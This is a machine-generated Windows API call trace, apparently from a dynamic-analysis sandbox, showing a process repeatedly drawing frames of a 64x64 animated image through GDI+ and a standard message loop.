GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0130.664] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0130.664] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.664] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.664] GetSystemMetrics (nIndex=42) returned 0 [0130.664] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.664] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.664] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.664] CoTaskMemFree (pv=0x1e7ac120) [0130.664] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0130.664] GdipCreateRegion (region=0x15d710) returned 0x0 [0130.664] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0130.664] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0130.664] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0130.664] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0130.665] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.665] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.665] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.665] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0130.665] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.665] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.666] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.666] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.666] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0130.666] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0130.666] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0130.666] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0130.666] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.666] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0130.666] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0130.666] GetCurrentObject (hdc=0x4b0107cb, type=0x1) returned 0x1b00017 [0130.666] GetCurrentObject (hdc=0x4b0107cb, type=0x2) returned 0x1900010 [0130.666] GetCurrentObject (hdc=0x4b0107cb, type=0x7) returned 0x1a05067e [0130.667] GetCurrentObject (hdc=0x4b0107cb, type=0x6) returned 0x18a002e [0130.667] SaveDC (hdc=0x4b0107cb) returned 1 [0130.667] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x55040b8a [0130.667] GetClipRgn (hdc=0x4b0107cb, hrgn=0x55040b8a) returned 0 [0130.667] SelectClipRgn (hdc=0x4b0107cb, hrgn=0xffffffff850407c3) returned 2 [0130.667] DeleteObject (ho=0x55040b8a) returned 1 [0130.667] DeleteObject (ho=0xffffffff850407c3) returned 1 [0130.667] OffsetViewportOrgEx (in: hdc=0x4b0107cb, x=0, y=0, lppt=0x27e3810 | out: lppt=0x27e3810) returned 1 [0130.667] GetNearestColor (hdc=0x4b0107cb, color=0xffffff) returned 0xffffff [0130.667] CreateSolidBrush (color=0xffffff) returned 0x5d100190 [0130.668] FillRect (hDC=0x4b0107cb, lprc=0x15d7c0, hbr=0x5d100190) returned 1 [0130.668] DeleteObject (ho=0x5d100190) returned 1 [0130.668] RestoreDC (hdc=0x4b0107cb, nSavedDC=-1) returned 1 [0130.668] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.668] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4b0107cb) returned 0x0 [0130.668] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd2c0dbd) returned 0x0 [0130.668] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.668] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0130.668] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.668] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.668] GetSystemMetrics (nIndex=42) returned 0 [0130.668] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.668] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.668] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.669] CoTaskMemFree (pv=0x1e7ac120) [0130.669] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0130.671] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0130.671] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0130.671] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0130.671] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0130.671] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4b0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0130.672] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.672] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4b0107cb) returned 0x0 [0130.672] SelectObject (hdc=0x4b0107cb, h=0x185000f) returned 0x1a05067e [0130.672] DeleteDC (hdc=0x4b0107cb) returned 1 [0130.672] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.672] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0130.672] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0130.672] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0130.672] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.672] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.672] WaitMessage () returned 1 [0130.816] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.816] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.816] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.816] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.816] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.817] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0130.817] GetCurrentThreadId () returned 0xec0 [0130.817] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0130.817] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.817] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.817] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.817] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.818] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.818] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0130.818] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0130.818] CreateCompatibleDC (hdc=0x3010b83) returned 0x4c0107cb [0130.818] SelectObject (hdc=0x4c0107cb, h=0x1a05067e) returned 0x185000f [0130.818] GdipCreateFromHDC (hdc=0x4c0107cb, graphics=0x15daf0) returned 0x0 [0130.819] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0130.819] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0130.819] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0130.819] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0130.819] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0130.819] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.819] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0130.820] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.820] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.821] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0130.821] GdipCreateRegion (region=0x15dc20) returned 0x0 [0130.821] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0130.821] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0130.821] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0130.821] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.821] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.822] GetSystemMetrics (nIndex=42) returned 0 [0130.822] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.822] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.822] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.822] CoTaskMemFree (pv=0x1e7ac120) [0130.823] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0130.823] GdipCreateRegion (region=0x15d710) returned 0x0 [0130.823] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0130.823] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0130.823] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0130.823] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0130.823] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.823] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.824] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.824] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0130.825] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.825] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.826] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.826] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.826] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0130.826] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0130.826] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0130.826] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0130.826] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.826] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0130.827] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0130.827] GetCurrentObject (hdc=0x4c0107cb, type=0x1) returned 0x1b00017 [0130.827] GetCurrentObject (hdc=0x4c0107cb, type=0x2) returned 0x1900010 [0130.827] GetCurrentObject (hdc=0x4c0107cb, type=0x7) returned 0x1a05067e [0130.827] GetCurrentObject (hdc=0x4c0107cb, type=0x6) returned 0x18a002e [0130.827] SaveDC (hdc=0x4c0107cb) returned 1 [0130.827] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff860407c3 [0130.827] GetClipRgn (hdc=0x4c0107cb, hrgn=0xffffffff860407c3) returned 0 [0130.828] SelectClipRgn (hdc=0x4c0107cb, hrgn=0x56040b8a) returned 2 [0130.828] DeleteObject (ho=0xffffffff860407c3) returned 1 [0130.828] DeleteObject (ho=0x56040b8a) returned 1 [0130.828] OffsetViewportOrgEx (in: hdc=0x4c0107cb, x=0, y=0, lppt=0x27e4af8 | out: lppt=0x27e4af8) returned 1 [0130.828] GetNearestColor (hdc=0x4c0107cb, color=0xffffff) returned 0xffffff [0130.828] CreateSolidBrush (color=0xffffff) returned 0x5e100190 [0130.829] FillRect (hDC=0x4c0107cb, lprc=0x15d7c0, hbr=0x5e100190) returned 1 [0130.829] DeleteObject (ho=0x5e100190) returned 1 [0130.829] RestoreDC (hdc=0x4c0107cb, nSavedDC=-1) returned 1 [0130.829] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.829] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4c0107cb) returned 0x0 [0130.829] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd2a0dbd) returned 0x0 [0130.829] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.829] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0130.830] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.830] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.830] GetSystemMetrics (nIndex=42) returned 0 [0130.830] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.830] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.830] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.830] CoTaskMemFree (pv=0x1e7ac120) [0130.830] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0130.831] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0130.831] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0130.831] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0130.831] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4c0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0130.831] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.831] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4c0107cb) returned 0x0 [0130.832] SelectObject (hdc=0x4c0107cb, h=0x185000f) returned 0x1a05067e [0130.832] DeleteDC (hdc=0x4c0107cb) returned 1 [0130.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.832] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0130.832] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0130.832] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0130.833] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.833] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.833] WaitMessage () returned 1 [0131.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.015] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.015] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.015] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.015] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.016] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.016] GetCurrentThreadId () returned 0xec0 [0131.017] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.017] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.017] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.017] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.017] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.017] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.018] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.018] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.018] CreateCompatibleDC (hdc=0x3010b83) returned 0x4d0107cb [0131.019] SelectObject (hdc=0x4d0107cb, h=0x1a05067e) returned 0x185000f [0131.019] GdipCreateFromHDC (hdc=0x4d0107cb, graphics=0x15daf0) returned 0x0 [0131.019] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.020] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.020] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.020] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0131.020] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0131.020] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.020] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.021] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.021] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.022] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.022] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.022] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0131.022] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.022] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.022] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.022] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.022] GetSystemMetrics (nIndex=42) returned 0 [0131.023] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.023] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.023] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.023] CoTaskMemFree (pv=0x1e7ac120) [0131.023] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.024] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.024] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.024] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.024] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.024] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.024] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.024] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.025] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.025] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0131.025] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.025] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.026] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.026] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.026] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.026] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.026] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.027] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.027] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.027] GetCurrentObject (hdc=0x4d0107cb, type=0x1) returned 0x1b00017 [0131.027] GetCurrentObject (hdc=0x4d0107cb, type=0x2) returned 0x1900010 [0131.027] GetCurrentObject (hdc=0x4d0107cb, type=0x7) returned 0x1a05067e [0131.027] GetCurrentObject (hdc=0x4d0107cb, type=0x6) returned 0x18a002e [0131.028] SaveDC (hdc=0x4d0107cb) returned 1 [0131.028] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x57040b8a [0131.028] GetClipRgn (hdc=0x4d0107cb, hrgn=0x57040b8a) returned 0 [0131.029] SelectClipRgn (hdc=0x4d0107cb, hrgn=0xffffffff870407c3) returned 2 [0131.029] DeleteObject (ho=0x57040b8a) returned 1 [0131.029] DeleteObject (ho=0xffffffff870407c3) returned 1 [0131.029] OffsetViewportOrgEx (in: hdc=0x4d0107cb, x=0, y=0, lppt=0x27e5430 | out: lppt=0x27e5430) returned 1 [0131.029] GetNearestColor (hdc=0x4d0107cb, color=0xffffff) returned 0xffffff [0131.029] CreateSolidBrush (color=0xffffff) returned 0x5f100190 [0131.029] FillRect (hDC=0x4d0107cb, lprc=0x15d7c0, hbr=0x5f100190) returned 1 [0131.030] DeleteObject (ho=0x5f100190) returned 1 [0131.030] RestoreDC (hdc=0x4d0107cb, nSavedDC=-1) returned 1 [0131.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.030] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4d0107cb) returned 0x0 [0131.030] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd280dbd) returned 0x0 [0131.030] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.031] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0131.031] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.031] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.031] GetSystemMetrics (nIndex=42) returned 0 [0131.031] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.031] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.031] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.031] CoTaskMemFree (pv=0x1e7ac120) [0131.032] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0131.037] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.037] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.037] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.038] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.038] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4d0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.038] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.038] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4d0107cb) returned 0x0 [0131.038] SelectObject (hdc=0x4d0107cb, h=0x185000f) returned 0x1a05067e [0131.038] DeleteDC (hdc=0x4d0107cb) returned 1 [0131.038] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.038] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0131.038] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0131.038] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0131.039] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.039] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.039] WaitMessage () returned 1 [0131.185] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.185] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.185] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.185] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.185] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.185] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.185] GetCurrentThreadId () returned 0xec0 [0131.186] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.186] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.186] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.186] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.186] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.186] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.186] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.186] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.186] CreateCompatibleDC (hdc=0x3010b83) returned 0x4e0107cb [0131.186] SelectObject (hdc=0x4e0107cb, h=0x1a05067e) returned 0x185000f [0131.187] GdipCreateFromHDC (hdc=0x4e0107cb, graphics=0x15daf0) returned 0x0 [0131.187] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.187] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.187] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.187] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0131.187] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 